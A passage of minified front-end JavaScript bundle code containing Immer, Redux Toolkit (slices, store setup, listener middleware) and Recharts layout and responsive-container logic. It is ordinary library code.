qN(e){if(!Zn(e)||Td(e))return e;const t=e[Vt];let n,r=!0;if(t){if(!t.modified_)return t.base_;t.finalized_=!0,n=Up(e,t.scope_.immer_.useStrictShallowCopy_),r=t.scope_.immer_.shouldUseStrictIteration()}else n=Up(e,!0);return Ed(n,(i,s)=>{cu(n,i,qN(s))},r),t&&(t.finalized_=!1),n}var _O=new EO,GN=_O.produce;function XN(e){return({dispatch:n,getState:r})=>i=>s=>typeof s=="function"?s(n,r,e):i(s)}var AO=XN(),OO=XN,TO=typeof window<"u"&&window.__REDUX_DEVTOOLS_EXTENSION_COMPOSE__?window.__REDUX_DEVTOOLS_EXTENSION_COMPOSE__:function(){if(arguments.length!==0)return typeof arguments[0]=="object"?su:su.apply(null,arguments)};function On(e,t){function n(...r){if(t){let i=t(...r);if(!i)throw new Error(mn(0));return{type:e,payload:i.payload,..."meta"in i&&{meta:i.meta},..."error"in i&&{error:i.error}}}return{type:e,payload:r[0]}}return n.toString=()=>`${e}`,n.type=e,n.match=r=>$N(r)&&r.type===e,n}var ZN=class no extends Array{constructor(...t){super(...t),Object.setPrototypeOf(this,no.prototype)}static get[Symbol.species](){return no}concat(...t){return super.concat.apply(this,t)}prepend(...t){return t.length===1&&Array.isArray(t[0])?new no(...t[0].concat(this)):new no(...t.concat(this))}};function Cy(e){return Zn(e)?GN(e,()=>{}):e}function Vl(e,t,n){return e.has(t)?e.get(t):e.set(t,n(t)).get(t)}function MO(e){return typeof e=="boolean"}var LO=()=>function(t){const{thunk:n=!0,immutableCheck:r=!0,serializableCheck:i=!0,actionCreatorCheck:s=!0}=t??{};let o=new ZN;return n&&(MO(n)?o.push(AO):o.push(OO(n.extraArgument))),o},QN="RTK_autoBatch",He=()=>e=>({payload:e,meta:{[QN]:!0}}),Py=e=>t=>{setTimeout(t,e)},JN=(e={type:"raf"})=>t=>(...n)=>{const r=t(...n);let i=!0,s=!1,o=!1;const l=new Set,c=e.type==="tick"?queueMicrotask:e.type==="raf"?typeof window<"u"&&window.requestAnimationFrame?window.requestAnimationFrame:Py(10):e.type==="callback"?e.queueNotification:Py(e.timeout),u=()=>{o=!1,s&&(s=!1,l.forEach(d=>d()))};return Object.assign({},r,{subscribe(d){const f=()=>i&&d(),p=r.subscribe(f);return l.add(d),()=>{p(),l.delete(d)}},dispatch(d){var f;try{return i=!((f=d==null?void 0:d.meta)!=null&&f[QN]),s=!i,s&&(o||(o=!0,c(u))),r.dispatch(d)}finally{i=!0}}})},IO=e=>function(n){const{autoBatch:r=!0}=n??{};let i=new ZN(e);return r&&i.push(JN(typeof r=="object"?r:void 0)),i};function DO(e){const t=LO(),{reducer:n=void 0,middleware:r,devTools:i=!0,preloadedState:s=void 0,enhancers:o=void 0}=e||{};let l;if(typeof n=="function")l=n;else if(Yx(n))l=RN(n);else throw new Error(mn(1));let c;typeof r=="function"?c=r(t):c=t();let u=su;i&&(u=TO({trace:!1,...typeof i=="object"&&i}));const d=xO(...c),f=IO(d);let p=typeof o=="function"?o(f):f();const h=u(...p);return DN(l,s,h)}function ek(e){const t={},n=[];let r;const i={addCase(s,o){const l=typeof s=="string"?s:s.type;if(!l)throw new Error(mn(28));if(l in t)throw new Error(mn(29));return t[l]=o,i},addAsyncThunk(s,o){return o.pending&&(t[s.pending.type]=o.pending),o.rejected&&(t[s.rejected.type]=o.rejected),o.fulfilled&&(t[s.fulfilled.type]=o.fulfilled),o.settled&&n.push({matcher:s.settled,reducer:o.settled}),i},addMatcher(s,o){return n.push({matcher:s,reducer:o}),i},addDefaultCase(s){return r=s,i}};return e(i),[t,n,r]}function RO(e){return typeof e=="function"}function $O(e,t){let[n,r,i]=ek(t),s;if(RO(e))s=()=>Cy(e());else{const l=Cy(e);s=()=>l}function o(l=s(),c){let u=[n[c.type],...r.filter(({matcher:d})=>d(c)).map(({reducer:d})=>d)];return u.filter(d=>!!d).length===0&&(u=[i]),u.reduce((d,f)=>{if(f)if(Ir(d)){const h=f(d,c);return h===void 0?d:h}else{if(Zn(d))return GN(d,p=>f(p,c));{const p=f(d,c);if(p===void 0){if(d===null)return d;throw Error("A case reducer on a non-draftable value must not return undefined")}return p}}return d},l)}return o.getInitialState=s,o}var BO="ModuleSymbhasOwnPr-0123456789ABCDEFGHNRVfgctiUvz_KqYTJkLxpZXIjQW",FO=(e=21)=>{let t="",n=e;for(;n--;)t+=BO[Math.random()*64|0];return t},WO=Symbol.for("rtk-slice-createasyncthunk");function UO(e,t){return`${e}/${t}`}function VO({creators:e}={}){var n;const t=(n=e==null?void 0:e.asyncThunk)==null?void 0:n[WO];return function(i){const{name:s,reducerPath:o=s}=i;if(!s)throw new Error(mn(11));const l=(typeof i.reducers=="function"?i.reducers(KO()):i.reducers)||{},c=Object.keys(l),u={sliceCaseReducersByName:{},sliceCaseReducersByType:{},actionCreators:{},sliceMatchers:[]},d={addCase(j,N){const z=typeof j=="string"?j:j.type;if(!z)throw new Error(mn(12));if(z in u.sliceCaseReducersByType)throw new Error(mn(13));return u.sliceCaseReducersByType[z]=N,d},addMatcher(j,N){return u.sliceMatchers.push({matcher:j,reducer:N}),d},exposeAction(j,N){return u.actionCreators[j]=N,d},exposeCaseReducer(j,N){return u.sliceCaseReducersByName[j]=N,d}};c.forEach(j=>{const N=l[j],z={reducerName:j,type:UO(s,j),createNotation:typeof i.reducers=="function"};qO(N)?XO(z,N,d,t):YO(z,N,d)});function f(){const[j={},N=[],z=void 0]=typeof i.extraReducers=="function"?ek(i.extraReducers):[i.extraReducers],k={...j,...u.sliceCaseReducersByType};return $O(i.initialState,S=>{for(let A in k)S.addCase(A,k[A]);for(let A of u.sliceMatchers)S.addMatcher(A.matcher,A.reducer);for(let A of N)S.addMatcher(A.matcher,A.reducer);z&&S.addDefaultCase(z)})}const p=j=>j,h=new Map,x=new WeakMap;let g;function y(j,N){return g||(g=f()),g(j,N)}function v(){return g||(g=f()),g.getInitialState()}function b(j,N=!1){function z(S){let A=S[j];return typeof A>"u"&&N&&(A=Vl(x,z,v)),A}function k(S=p){const A=Vl(h,N,()=>new WeakMap);return Vl(A,S,()=>{const _={};for(const[O,P]of Object.entries(i.selectors??{}))_[O]=HO(P,S,()=>Vl(x,S,v),N);return _})}return{reducerPath:j,getSelectors:k,get selectors(){return k(z)},selectSlice:z}}const w={name:s,reducer:y,actions:u.actionCreators,caseReducers:u.sliceCaseReducersByName,getInitialState:v,...b(o),injectInto(j,{reducerPath:N,...z}={}){const k=N??o;return j.inject({reducerPath:k,reducer:y},z),{...w,...b(k,!0)}}};return w}}function HO(e,t,n,r){function i(s,...o){let l=t(s);return typeof l>"u"&&r&&(l=n()),e(l,...o)}return i.unwrapped=e,i}var nn=VO();function KO(){function e(t,n){return{_reducerDefinitionType:"asyncThunk",payloadCreator:t,...n}}return e.withTypes=()=>e,{reducer(t){return Object.assign({[t.name](...n){return t(...n)}}[t.name],{_reducerDefinitionType:"reducer"})},preparedReducer(t,n){return{_reducerDefinitionType:"reducerWithPrepare",prepare:t,reducer:n}},asyncThunk:e}}function YO({type:e,reducerName:t,createNotation:n},r,i){let s,o;if("reducer"in r){if(n&&!GO(r))throw new Error(mn(17));s=r.reducer,o=r.prepare}else s=r;i.addCase(e,s).exposeCaseReducer(t,s).exposeAction(t,o?On(e,o):On(e))}function qO(e){return e._reducerDefinitionType==="asyncThunk"}function GO(e){return e._reducerDefinitionType==="reducerWithPrepare"}function XO({type:e,reducerName:t},n,r,i){if(!i)throw new Error(mn(18));const{payloadCreator:s,fulfilled:o,pending:l,rejected:c,settled:u,options:d}=n,f=i(e,s,d);r.exposeAction(t,f),o&&r.addCase(f.fulfilled,o),l&&r.addCase(f.pending,l),c&&r.addCase(f.rejected,c),u&&r.addMatcher(f.settled,u),r.exposeCaseReducer(t,{fulfilled:o||Hl,pending:l||Hl,rejected:c||Hl,settled:u||Hl})}function Hl(){}var ZO="task",tk="listener",nk="completed",Zx="cancelled",QO=`task-${Zx}`,JO=`task-${nk}`,Gp=`${tk}-${Zx}`,eT=`${tk}-${nk}`,Ld=class{constructor(e){Cf(this,"name","TaskAbortError");Cf(this,"message");this.code=e,this.message=`${ZO} ${Zx} (reason: ${e})`}},Qx=(e,t)=>{if(typeof e!="function")throw new TypeError(mn(32))},mu=()=>{},rk=(e,t=mu)=>(e.catch(t),e),ik=(e,t)=>(e.addEventListener("abort",t,{once:!0}),()=>e.removeEventListener("abort",t)),Ji=e=>{if(e.aborted)throw new Ld(e.reason)};function ak(e,t){let n=mu;return new Promise((r,i)=>{const s=()=>i(new Ld(e.reason));if(e.aborted){s();return}n=ik(e,s),t.finally(()=>n()).then(r,i)}).finally(()=>{n=mu})}var tT=async(e,t)=>{try{return await Promise.resolve(),{status:"ok",value:await e()}}catch(n){return{status:n instanceof Ld?"cancelled":"rejected",error:n}}finally{t==null||t()}},pu=e=>t=>rk(ak(e,t).then(n=>(Ji(e),n))),sk=e=>{const t=pu(e);return n=>t(new Promise(r=>setTimeout(r,n)))},{assign:Xa}=Object,Ey={},Id="listenerMiddleware",nT=(e,t)=>{const n=r=>ik(e,()=>r.abort(e.reason));return(r,i)=>{Qx(r);const s=new AbortController;n(s);const o=tT(async()=>{Ji(e),Ji(s.signal);const l=await r({pause:pu(s.signal),delay:sk(s.signal),signal:s.signal});return Ji(s.signal),l},()=>s.abort(JO));return i!=null&&i.autoJoin&&t.push(o.catch(mu)),{result:pu(e)(o),cancel(){s.abort(QO)}}}},rT=(e,t)=>{const n=async(r,i)=>{Ji(t);let s=()=>{};const l=[new Promise((c,u)=>{let d=e({predicate:r,effect:(f,p)=>{p.unsubscribe(),c([f,p.getState(),p.getOriginalState()])}});s=()=>{d(),u()}})];i!=null&&l.push(new Promise(c=>setTimeout(c,i,null)));try{const c=await ak(t,Promise.race(l));return Ji(t),c}finally{s()}};return(r,i)=>rk(n(r,i))},ok=e=>{let{type:t,actionCreator:n,matcher:r,predicate:i,effect:s}=e;if(t)i=On(t).match;else if(n)t=n.type,i=n.match;else if(r)i=r;else if(!i)throw new Error(mn(21));return Qx(s),{predicate:i,type:t,effect:s}},lk=Xa(e=>{const{type:t,predicate:n,effect:r}=ok(e);return{id:FO(),effect:r,type:t,predicate:n,pending:new Set,unsubscribe:()=>{throw new Error(mn(22))}}},{withTypes:()=>lk}),_y=(e,t)=>{const{type:n,effect:r,predicate:i}=ok(t);return Array.from(e.values()).find(s=>(typeof n=="string"?s.type===n:s.predicate===i)&&s.effect===r)},Xp=e=>{e.pending.forEach(t=>{t.abort(Gp)})},iT=(e,t)=>()=>{for(const n of t.keys())Xp(n);e.clear()},Ay=(e,t,n)=>{try{e(t,n)}catch(r){setTimeout(()=>{throw r},0)}},ck=Xa(On(`${Id}/add`),{withTypes:()=>ck}),aT=On(`${Id}/removeAll`),uk=Xa(On(`${Id}/remove`),{withTypes:()=>uk}),sT=(...e)=>{console.error(`${Id}/error`,...e)},ol=(e={})=>{const t=new Map,n=new Map,r=h=>{const x=n.get(h)??0;n.set(h,x+1)},i=h=>{const x=n.get(h)??1;x===1?n.delete(h):n.set(h,x-1)},{extra:s,onError:o=sT}=e;Qx(o);const l=h=>(h.unsubscribe=()=>t.delete(h.id),t.set(h.id,h),x=>{h.unsubscribe(),x!=null&&x.cancelActive&&Xp(h)}),c=h=>{const x=_y(t,h)??lk(h);return l(x)};Xa(c,{withTypes:()=>c});const u=h=>{const x=_y(t,h);return x&&(x.unsubscribe(),h.cancelActive&&Xp(x)),!!x};Xa(u,{withTypes:()=>u});const d=async(h,x,g,y)=>{const v=new AbortController,b=rT(c,v.signal),w=[];try{h.pending.add(v),r(h),await Promise.resolve(h.effect(x,Xa({},g,{getOriginalState:y,condition:(j,N)=>b(j,N).then(Boolean),take:b,delay:sk(v.signal),pause:pu(v.signal),extra:s,signal:v.signal,fork:nT(v.signal,w),unsubscribe:h.unsubscribe,subscribe:()=>{t.set(h.id,h)},cancelActiveListeners:()=>{h.pending.forEach((j,N,z)=>{j!==v&&(j.abort(Gp),z.delete(j))})},cancel:()=>{v.abort(Gp),h.pending.delete(v)},throwIfCancelled:()=>{Ji(v.signal)}})))}catch(j){j instanceof Ld||Ay(o,j,{raisedBy:"effect"})}finally{await Promise.all(w),v.abort(eT),i(h),h.pending.delete(v)}},f=iT(t,n);return{middleware:h=>x=>g=>{if(!$N(g))return x(g);if(ck.match(g))return c(g.payload);if(aT.match(g)){f();return}if(uk.match(g))return u(g.payload);let y=h.getState();const v=()=>{if(y===Ey)throw new Error(mn(23));return y};let b;try{if(b=x(g),t.size>0){const w=h.getState(),j=Array.from(t.values());for(const N of j){let z=!1;try{z=N.predicate(g,w,y)}catch(k){z=!1,Ay(o,k,{raisedBy:"predicate"})}z&&d(N,g,h,v)}}}finally{y=Ey}return b},startListening:c,stopListening:u,clearListeners:f}};function mn(e){return`Minified Redux Toolkit error #${e}; visit https://redux-toolkit.js.org/Errors?code=${e} for the full message or use the non-minified dev environment for full errors. `}var oT={layoutType:"horizontal",width:0,height:0,margin:{top:5,right:5,bottom:5,left:5},scale:1},dk=nn({name:"chartLayout",initialState:oT,reducers:{setLayout(e,t){e.layoutType=t.payload},setChartSize(e,t){e.width=t.payload.width,e.height=t.payload.height},setMargin(e,t){var n,r,i,s;e.margin.top=(n=t.payload.top)!==null&&n!==void 0?n:0,e.margin.right=(r=t.payload.right)!==null&&r!==void 0?r:0,e.margin.bottom=(i=t.payload.bottom)!==null&&i!==void 0?i:0,e.margin.left=(s=t.payload.left)!==null&&s!==void 0?s:0},setScale(e,t){e.scale=t.payload}}}),{setMargin:lT,setLayout:cT,setChartSize:uT,setScale:dT}=dk.actions,fT=dk.reducer;function fk(e,t,n){return Array.isArray(e)&&e&&t+n!==0?e.slice(t,n+1):e}function Ee(e){return Number.isFinite(e)}function Si(e){return typeof e=="number"&&e>0&&Number.isFinite(e)}function Oy(e,t){var n=Object.keys(e);if(Object.getOwnPropertySymbols){var r=Object.getOwnPropertySymbols(e);t&&(r=r.filter(function(i){return Object.getOwnPropertyDescriptor(e,i).enumerable})),n.push.apply(n,r)}return n}function Fa(e){for(var t=1;t{if(t&&n){var{width:r,height:i}=n,{align:s,verticalAlign:o,layout:l}=t;if((l==="vertical"||l==="horizontal"&&o==="middle")&&s!=="center"&&ge(e[s]))return Fa(Fa({},e),{},{[s]:e[s]+(r||0)});if((l==="horizontal"||l==="vertical"&&s==="center")&&o!=="middle"&&ge(e[o]))return Fa(Fa({},e),{},{[o]:e[o]+(i||0)})}return e},vr=(e,t)=>e==="horizontal"&&t==="xAxis"||e==="vertical"&&t==="yAxis"||e==="centric"&&t==="angleAxis"||e==="radial"&&t==="radiusAxis",vT=e=>{var t,n=e.length;if(!(n<=0)){var r=(t=e[0])===null||t===void 0?void 0:t.length;if(!(r==null||r<=0))for(var i=0;i=0?(u[0]=s,s+=p,u[1]=s):(u[0]=o,o+=p,u[1]=o)}}}},gT=e=>{var t,n=e.length;if(!(n<=0)){var r=(t=e[0])===null||t===void 0?void 0:t.length;if(!(r==null||r<=0))for(var i=0;i=0?(c[0]=s,s+=u,c[1]=s):(c[0]=0,c[1]=0)}}}},yT={sign:vT,expand:o6,none:ua,silhouette:l6,wiggle:c6,positive:gT},bT=(e,t,n)=>{var r,i=(r=yT[n])!==null&&r!==void 0?r:ua,s=s6().keys(t).value((l,c)=>Number(Ve(l,c,0))).order($p).offset(i),o=s(e);return o.forEach((l,c)=>{l.forEach((u,d)=>{var f=Ve(e[d],t[c],0);Array.isArray(f)&&f.length===2&&ge(f[0])&&ge(f[1])&&(u[0]=f[0],u[1]=f[1])})}),o};function wT(e){return e==null?void 0:String(e)}function Ty(e){var{axis:t,ticks:n,bandSize:r,entry:i,index:s,dataKey:o}=e;if(t.type==="category"){if(!t.allowDuplicatedCategory&&t.dataKey&&!Mt(i[t.dataKey])){var l=iN(n,"value",i[t.dataKey]);if(l)return l.coordinate+r/2}return n!=null&&n[s]?n[s].coordinate+r/2:null}var c=Ve(i,Mt(o)?t.dataKey:o),u=t.scale.map(c);return ge(u)?u:null}var jT=e=>{var t=e.flat(2).filter(ge);return[Math.min(...t),Math.max(...t)]},NT=e=>[e[0]===1/0?0:e[0],e[1]===-1/0?0:e[1]],kT=(e,t,n)=>{if(e!=null)return NT(Object.keys(e).reduce((r,i)=>{var s=e[i];if(!s)return r;var{stackedData:o}=s,l=o.reduce((c,u)=>{var d=fk(u,t,n),f=jT(d);return!Ee(f[0])||!Ee(f[1])?c:[Math.min(c[0],f[0]),Math.max(c[1],f[1])]},[1/0,-1/0]);return[Math.min(l[0],r[0]),Math.max(l[1],r[1])]},[1/0,-1/0]))},My=/^dataMin[\s]*-[\s]*([0-9]+([.]{1}[0-9]+){0,1})$/,Ly=/^dataMax[\s]*\+[\s]*([0-9]+([.]{1}[0-9]+){0,1})$/,hu=(e,t,n)=>{if(e&&e.scale&&e.scale.bandwidth){var r=e.scale.bandwidth();if(!n||r>0)return r}if(e&&t&&t.length>=2){for(var i=Cd(t,d=>d.coordinate),s=1/0,o=1,l=i.length;o{if(t==="horizontal")return e.chartX;if(t==="vertical")return e.chartY},ST=(e,t)=>t==="centric"?e.angle:e.radius,Hr=e=>e.layout.width,Kr=e=>e.layout.height,CT=e=>e.layout.scale,mk=e=>e.layout.margin,Rd=L(e=>e.cartesianAxis.xAxis,e=>Object.values(e)),$d=L(e=>e.cartesianAxis.yAxis,e=>Object.values(e)),pk="data-recharts-item-index",hk="data-recharts-item-id",ll=60;function Dy(e,t){var n=Object.keys(e);if(Object.getOwnPropertySymbols){var r=Object.getOwnPropertySymbols(e);t&&(r=r.filter(function(i){return Object.getOwnPropertyDescriptor(e,i).enumerable})),n.push.apply(n,r)}return n}function Kl(e){for(var t=1;te.brush.height;function OT(e){var t=$d(e);return t.reduce((n,r)=>{if(r.orientation==="left"&&!r.mirror&&!r.hide){var i=typeof r.width=="number"?r.width:ll;return n+i}return n},0)}function TT(e){var t=$d(e);return t.reduce((n,r)=>{if(r.orientation==="right"&&!r.mirror&&!r.hide){var i=typeof r.width=="number"?r.width:ll;return n+i}return n},0)}function MT(e){var t=Rd(e);return t.reduce((n,r)=>r.orientation==="top"&&!r.mirror&&!r.hide?n+r.height:n,0)}function LT(e){var t=Rd(e);return t.reduce((n,r)=>r.orientation==="bottom"&&!r.mirror&&!r.hide?n+r.height:n,0)}var kt=L([Hr,Kr,mk,AT,OT,TT,MT,LT,IN,uO],(e,t,n,r,i,s,o,l,c,u)=>{var d={left:(n.left||0)+i,right:(n.right||0)+s},f={top:(n.top||0)+o,bottom:(n.bottom||0)+l},p=Kl(Kl({},f),d),h=p.bottom;p.bottom+=r,p=xT(p,c,u);var x=e-p.left-p.right,g=t-p.top-p.bottom;return Kl(Kl({brushBottom:h},p),{},{width:Math.max(x,0),height:Math.max(g,0)})}),IT=L(kt,e=>({x:e.left,y:e.top,width:e.width,height:e.height}));L(Hr,Kr,(e,t)=>({x:0,y:0,width:e,height:t}));var DT=m.createContext(null),Jn=()=>m.useContext(DT)!=null,Bd=e=>e.brush,Fd=L([Bd,kt,mk],(e,t,n)=>({height:e.height,x:ge(e.x)?e.x:t.left,y:ge(e.y)?e.y:t.top+t.height+t.brushBottom-((n==null?void 0:n.bottom)||0),width:ge(e.width)?e.width:t.width})),xk={},vk={},gk={};(function(e){Object.defineProperty(e,Symbol.toStringTag,{value:"Module"});function t(n,r,{signal:i,edges:s}={}){let o,l=null;const c=s!=null&&s.includes("leading"),u=s==null||s.includes("trailing"),d=()=>{l!==null&&(n.apply(o,l),o=void 0,l=null)},f=()=>{u&&d(),g()};let p=null;const h=()=>{p!=null&&clearTimeout(p),p=setTimeout(()=>{p=null,f()},r)},x=()=>{p!==null&&(clearTimeout(p),p=null)},g=()=>{x(),o=void 0,l=null},y=()=>{d()},v=function(...b){if(i!=null&&i.aborted)return;o=this,l=b;const w=p==null;h(),c&&w&&d()};return v.schedule=h,v.cancel=g,v.flush=y,i==null||i.addEventListener("abort",g,{once:!0}),v}e.debounce=t})(gk);(function(e){Object.defineProperty(e,Symbol.toStringTag,{value:"Module"});const t=gk;function n(r,i=0,s={}){typeof s!="object"&&(s={});const{leading:o=!1,trailing:l=!0,maxWait:c}=s,u=Array(2);o&&(u[0]="leading"),l&&(u[1]="trailing");let d,f=null;const p=t.debounce(function(...g){d=r.apply(this,g),f=null},i,{edges:u}),h=function(...g){return c!=null&&(f===null&&(f=Date.now()),Date.now()-f>=c)?(d=r.apply(this,g),f=Date.now(),p.cancel(),p.schedule(),d):(p.apply(this,g),d)},x=()=>(p.flush(),d);return h.cancel=p.cancel,h.flush=x,h}e.debounce=n})(vk);(function(e){Object.defineProperty(e,Symbol.toStringTag,{value:"Module"});const t=vk;function n(r,i=0,s={}){const{leading:o=!0,trailing:l=!0}=s;return t.debounce(r,i,{leading:o,maxWait:i,trailing:l})}e.throttle=n})(xk);var RT=xk.throttle;const $T=Wr(RT);var Ry=function(t,n){for(var r=arguments.length,i=new Array(r>2?r-2:0),s=2;si[o++]))}},lr={width:"100%",height:"100%",debounce:0,minWidth:0,initialDimension:{width:-1,height:-1}},yk=(e,t,n)=>{var{width:r=lr.width,height:i=lr.height,aspect:s,maxHeight:o}=n,l=da(r)?e:Number(r),c=da(i)?t:Number(i);return s&&s>0&&(l?c=l/s:c&&(l=c*s),o&&c!=null&&c>o&&(c=o)),{calculatedWidth:l,calculatedHeight:c}},BT={width:0,height:0,overflow:"visible"},FT={width:0,overflowX:"visible"},WT={height:0,overflowY:"visible"},UT={},VT=e=>{var{width:t,height:n}=e,r=da(t),i=da(n);return r&&i?BT:r?FT:i?WT:UT};function HT(e){var{width:t,height:n,aspect:r}=e,i=t,s=n;return i===void 0&&s===void 0?(i=lr.width,s=lr.height):i===void 0?i=r&&r>0?void 0:lr.width:s===void 0&&(s=r&&r>0?void 0:lr.height),{width:i,height:s}}function Zp(){return Zp=Object.assign?Object.assign.bind():function(e){for(var t=1;t({width:n,height:r}),[n,r]);return GT(i)?m.createElement(bk.Provider,{value:i},t):null}var Jx=()=>m.useContext(bk),XT=m.forwardRef((e,t)=>{var{aspect:n,initialDimension:r=lr.initialDimension,width:i,height:s,minWidth:o=lr.minWidth,minHeight:l,maxHeight:c,children:u,debounce:d=lr.debounce,id:f,className:p,onResize:h,style:x={}}=e,g=m.useRef(null),y=m.useRef();y.current=h,m.useImperativeHandle(t,()=>g.current);var[v,b]=m.useState({containerWidth:r.width,containerHeight:r.height}),w=m.useCallback((S,A)=>{b(_=>{var O=Math.round(S),P=Math.round(A);return _.containerWidth===O&&_.containerHeight===P?_:{containerWidth:O,containerHeight:P}})},[]);m.useEffect(()=>{if(g.current==null||typeof ResizeObserver>"u")return ys;var S=P=>{var I,Y=P[0];if(Y!=null){var{width:D,height:M}=Y.contentRect;w(D,M),(I=y.current)===null||I===void 0||I.call(y,D,M)}};d>0&&(S=$T(S,d,{trailing:!0,leading:!1}));var A=new ResizeObserver(S),{width:_,height:O}=g.current.getBoundingClientRect();return w(_,O),A.observe(g.current),()=>{A.disconnect()}},[w,d]);var{containerWidth:j,containerHeight:N}=v;Ry(!n||n>0,"The aspect(%s) must be greater than zero.",n);var{calculatedWidth:z,calculatedHeight:k}=yk(j,N,{width:i,height:s,aspect:n,maxHeight:c});return Ry(z!=null&&z>0||k!=null&&k>0,`The width(%s) and height(%s) of chart should be greater than 0, + please check the style of container, or the props width(%s) and height(%s), + or add a minWidth(%s) or minHeight(%s) or use aspect(%s) to control the + height and width.`,z,k,i,s,o,l,n),m.createElement("div",{id:f?"".concat(f):void 0,className:Qe("recharts-responsive-container",p),style:By(By({},x),{},{width:i,height:s,minWidth:o,minHeight:l,maxHeight:c}),ref:g},m.createElement("div",{style:VT({width:i,height:s})},m.createElement(wk,{width:z,height:k},u)))}),Fy=m.forwardRef((e,t)=>{var n=Jx();if(Si(n.width)&&Si(n.height))return e.children;var{width:r,height:i}=HT({width:e.width,height:e.height,aspect:e.aspect}),{calculatedWidth:s,calculatedHeight:o}=yk(void 0,void 0,{width:r,height:i,aspect:e.aspect,maxHeight:e.maxHeight});return ge(s)&&ge(o)?m.createElement(wk,{width:s,height:o},e.children):m.createElement(XT,Zp({},e,{width:r,height:i,ref:t}))});function e0(e){if(e)return{x:e.x,y:e.y,upperWidth:"upperWidth"in e?e.upperWidth:e.width,lowerWidth:"lowerWidth"in e?e.lowerWidth:e.width,width:e.width,height:e.height}}var Wd=()=>{var e,t=Jn(),n=je(IT),r=je(Fd),i=(e=je(Bd))===null||e===void 0?void 0:e.padding;return!t||!r||!i?n:{width:r.width-i.left-i.right,height:r.height-i.top-i.bottom,x:i.left,y:i.top}},ZT={top:0,bottom:0,left:0,right:0,width:0,height:0,brushBottom:0},QT=()=>{var e;return(e=je(kt))!==null&&e!==void 0?e:ZT},JT=()=>je(Hr),eM=()=>je(Kr),De=e=>e.layout.layoutType,bs=()=>je(De),tM=()=>{var e=bs();if(e==="horizontal"||e==="vertical")return e},jk=e=>{var t=e.layout.layoutType;if(t==="centric"||t==="radial")return t},nM=()=>{var e=bs();return e!==void 0},cl=e=>{var t=ot(),n=Jn(),{width:r,height:i}=e,s=Jx(),o=r,l=i;return s&&(o=s.width>0?s.width:r,l=s.height>0?s.height:i),m.useEffect(()=>{!n&&Si(o)&&Si(l)&&t(uT({width:o,height:l}))},[t,n,o,l]),null},Nk=Symbol.for("immer-nothing"),Wy=Symbol.for("immer-draftable"),hn=Symbol.for("immer-state");function Vn(e,...t){throw new Error(`[Immer] minified error nr: ${e}. Full error at: https://bit.ly/3cXEKWf`)}var Wo=Object.getPrototypeOf;function cs(e){return!!e&&!!e[hn]}function ma(e){var t;return e?kk(e)||Array.isArray(e)||!!e[Wy]||!!((t=e.constructor)!=null&&t[Wy])||ul(e)||Vd(e):!1}var rM=Object.prototype.constructor.toString(),Uy=new WeakMap;function kk(e){if(!e||typeof e!="object")return!1;const t=Object.getPrototypeOf(e);if(t===null||t===Object.prototype)return!0;const n=Object.hasOwnProperty.call(t,"constructor")&&t.constructor;if(n===Object)return!0;if(typeof n!="function")return!1;let r=Uy.get(n);return r===void 0&&(r=Function.toString.call(n),Uy.set(n,r)),r===rM}function xu(e,t,n=!0){Ud(e)===0?(n?Reflect.ownKeys(e):Object.keys(e)).forEach(i=>{t(i,e[i],e)}):e.forEach((r,i)=>t(i,r,e))}function Ud(e){const t=e[hn];return t?t.type_:Array.isArray(e)?1:ul(e)?2:Vd(e)?3:0}function Qp(e,t){return Ud(e)===2?e.has(t):Object.prototype.hasOwnProperty.call(e,t)}function zk(e,t,n){const r=Ud(e);r===2?e.set(t,n):r===3?e.add(n):e[t]=n}function iM(e,t){return e===t?e!==0||1/e===1/t:e!==e&&t!==t}function ul(e){return e instanceof Map}function Vd(e){return e instanceof Set}function Wi(e){return e.copy_||e.base_}function Jp(e,t){if(ul(e))return new Map(e);if(Vd(e))return new Set(e);if(Array.isArray(e))return Array.prototype.slice.call(e);const n=kk(e);if(t===!0||t==="class_only"&&!n){const r=Object.getOwnPropertyDescriptors(e);delete r[hn];let i=Reflect.ownKeys(r);for(let s=0;s1&&Object.defineProperties(e,{set:Yl,add:Yl,clear:Yl,delete:Yl}),Object.freeze(e),t&&Object.values(e).forEach(n=>t0(n,!0))),e}function aM(){Vn(2)}var Yl={value:aM};function Hd(e){return e===null||typeof e!="object"?!0:Object.isFrozen(e)}var sM={};function pa(e){const t=sM[e];return t||Vn(0,e),t}var Uo;function Sk(){return Uo}function oM(e,t){return{drafts_:[],parent_:e,immer_:t,canAutoFreeze_:!0,unfinalizedDrafts_:0}}function Vy(e,t){t&&(pa("Patches"),e.patches_=[],e.inversePatches_=[],e.patchListener_=t)}function eh(e){th(e),e.drafts_.forEach(lM),e.drafts_=null}function th(e){e===Uo&&(Uo=e.parent_)}function Hy(e){return Uo=oM(Uo,e)}function lM(e){const t=e[hn];t.type_===0||t.type_===1?t.revoke_():t.revoked_=!0}function Ky(e,t){t.unfinalizedDrafts_=t.drafts_.length;const n=t.drafts_[0];return e!==void 0&&e!==n?(n[hn].modified_&&(eh(t),Vn(4)),ma(e)&&(e=vu(t,e),t.parent_||gu(t,e)),t.patches_&&pa("Patches").generateReplacementPatches_(n[hn].base_,e,t.patches_,t.inversePatches_)):e=vu(t,n,[]),eh(t),t.patches_&&t.patchListener_(t.patches_,t.inversePatches_),e!==Nk?e:void 0}function vu(e,t,n){if(Hd(t))return t;const r=e.immer_.shouldUseStrictIteration(),i=t[hn];if(!i)return xu(t,(s,o)=>Yy(e,i,t,s,o,n),r),t;if(i.scope_!==e)return t;if(!i.modified_)return gu(e,i.base_,!0),i.base_;if(!i.finalized_){i.finalized_=!0,i.scope_.unfinalizedDrafts_--;const s=i.copy_;let o=s,l=!1;i.type_===3&&(o=new Set(s),s.clear(),l=!0),xu(o,(c,u)=>Yy(e,i,s,c,u,n,l),r),gu(e,s,!1),n&&e.patches_&&pa("Patches").generatePatches_(i,n,e.patches_,e.inversePatches_)}return i.copy_}function Yy(e,t,n,r,i,s,o){if(i==null||typeof i!="object"&&!o)return;const l=Hd(i);if(!(l&&!o)){if(cs(i)){const c=s&&t&&t.type_!==3&&!Qp(t.assigned_,r)?s.concat(r):void 0,u=vu(e,i,c);if(zk(n,r,u),cs(u))e.canAutoFreeze_=!1;else return}else o&&n.add(i);if(ma(i)&&!l){if(!e.immer_.autoFreeze_&&e.unfinalizedDrafts_<1||t&&t.base_&&t.base_[r]===i&&l)return;vu(e,i),(!t||!t.scope_.parent_)&&typeof r!="symbol"&&(ul(n)?n.has(r):Object.prototype.propertyIsEnumerable.call(n,r))&&gu(e,i)}}}function gu(e,t,n=!1){!e.parent_&&e.immer_.autoFreeze_&&e.canAutoFreeze_&&t0(t,n)}function cM(e,t){const 